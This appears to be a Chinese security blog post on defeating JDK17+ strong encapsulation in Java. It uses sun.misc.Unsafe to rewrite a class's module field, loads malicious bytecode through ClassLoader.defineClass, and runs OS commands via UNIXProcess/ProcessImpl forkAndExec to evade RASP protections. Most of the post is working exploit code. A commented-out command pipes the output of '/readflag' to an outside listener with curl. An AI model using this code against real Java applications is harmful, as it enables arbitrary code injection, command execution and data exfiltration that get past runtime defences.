JDK17+绕过反射限制

JDK17+ 反射绕过限制

前言

springboot3.x使用的jdk版本至少是jdk17,在jdk17及之后无法反射 java.* 包下非public 修饰的属性和方法

根据 Oracle的文档,为了安全性,从JDK 17开始对java本身代码使用强封装,原文叫 Strong Encapsulation。任何对 java.* 代码中的非public变量和方法进行反射会抛出InaccessibleObjectException异常。

JDK的文档解释了对java api进行封装的两个理由:

  1. 对java代码进行反射是不安全的,比如可以调用ClassLoader的defineClass方法,这样在运行时候可以给程序注入任意代码。
  2. java的这些非公开的api本身就是非标准的,让开发者依赖使用这个api会给JDK的维护带来负担。

所以从JDK 9开始就准备限制对java api的反射进行限制,直到JDK 17才正式禁用。

测试

调用ClassLoader.defineClass加载字节码

String payload = '恶意的base64'


byte[] decode = Base64.getDecoder().decode(payload);


Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "恶意文件名字", decode, 0, decode.length);

JDK9 - JDK16(只有警告)

从JDK9开始,当我们用反射去获取 java.* 包下的非public变量和方法时只会警告,仍能够运行

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.example.Main (file:/E:/test/test/target/classes/) to method java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int)
WARNING: Please consider reporting this to the maintainers of org.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

JDK17+对反射的限制

报以下错误,无法运行

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @3b07d329

at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at test.main(test.java:11)

Unsafe绕过反射限制

https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B

Note that the sun.misc and sun.reflect packages are available for reflection by tools and libraries in all JDK releases, including JDK 17.

sun.miscsun.reflect包下的我们是可以正常反射的,所以有个关键的类就可以拿来用来,就是 Unsafe 这个东西

关于Unsafe类可以参考 https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html

同时注意 JDK17下Unsafe类下的 defineClassdefineAnonymousClass 已被移除,且从jdk9开始存在的另一个Unsafe类jdk.internal.misc.Unsafe 也是强封装的,和 java.* 包下的一样。

如何利用Unsafe来打破这个强封装module限制呢?

分析

跟进setAccessible方法

image-20231228193558788

如果setAccessible(true)就会调用checkCanSetAccessible

继续跟进

image-20231228193849841

image-20231228193943696

这里的clazz是Class类,这个后面会用到

跟进到关键代码java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class<?>, java.lang.Class<?>, boolean)

image-20231228194145369

判断我们调用类和目标类是不是一个module,如果调用类的module和目标类的module一样,就可以有修改权限

那我们可以尝试利用Unsafe来修改当前类的module属性和目标类(即 java.* 下类)的module属性一致来绕过

Unsafe类中有个 getAndSetObject 方法,其和反射赋值功能差不多,利用这个修改调用类的module

image-20231228195535771

image-20231228195618276

由于我们要调用ClassLoader类,所以我们要修改当前类的moduleClassLoadermodule

System.out.println(ClassLoader.class.getModule());
System.out.println(Object.class.getModule());
System.out.println(Class.class.getModule());

结果都是module java.base

接着找偏移

Unsafe提供两个方法来获取Field的偏移量

staticFieldOffset(Field var1)objectFieldOffset(Field var1)

unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

这样参数都找完了

解决方案

getAndSetObject可以用putObject来替代

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);

//        unsafe.putObject(currentClass,addr,baseModule);
String payload = '恶意的base64'


byte[] decode = Base64.getDecoder().decode(payload);

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);

//        unsafe.putObject(currentClass,addr,baseModule);

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "exp", decode, 0, decode.length);

image-20231228200214787

对比一下没改之前的情况

image-20231228200309284

所以成功修改,就能够进行反射了

同样的,如果没有办法反射其他不在同一个module下的属性或方法,也可以利用这个办法来修改类的module来绕过,上面也可以修改java.* 下类的module和Main.class的module一样,也是可以的,但修改module后会产生什么不可预知的后果我就不知道了。

JDK8中Unsafe的常见使用

allocateInstance (反射调用native方法)

若RASP限制了某些类的构造方法(比如TrAXFilter(加载字节码)、ProcessImpl(Windows命令执行)、UnixProcess(Linux命令执行))

可以用UnsafeallocateInstance方法绕过这个限制

windows下

Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, baseModule);

Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "calc", null, null, stdHandles, false);

Linux



Class<?> claz = Class.forName("sun.misc.Unsafe");
Field field = claz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(test.class, addr, baseModule);

String cmd = "whoami";
int[] ineEmpty = {-1, -1, -1};

Class clazz = Class.forName("java.lang.UNIXProcess");
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

unsafe+反射调用native的forkAndExec

public static byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }

    public static String exec(String[] strs) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException, IOException {

        //String[] strs = new String[] {"bash", "-c", "curl host.docker.internal:4444 -d \"`/readflag`\""};
        
        
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }
        return baos.toString();

同样可以用这个调用加了prefix的forkAndExec (就是调用方法名称改一下而已)

最后

但现在来说我还用不上这些,太菜了,还在学jdk8的东西呢

https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/

Unsafe - Java (gitbook.io)


JDK17+绕过反射限制
https://zer0peach.github.io/2023/12/28/JDK17-绕过反射限制/
作者
Zer0peach
发布于
2023年12月28日
许可协议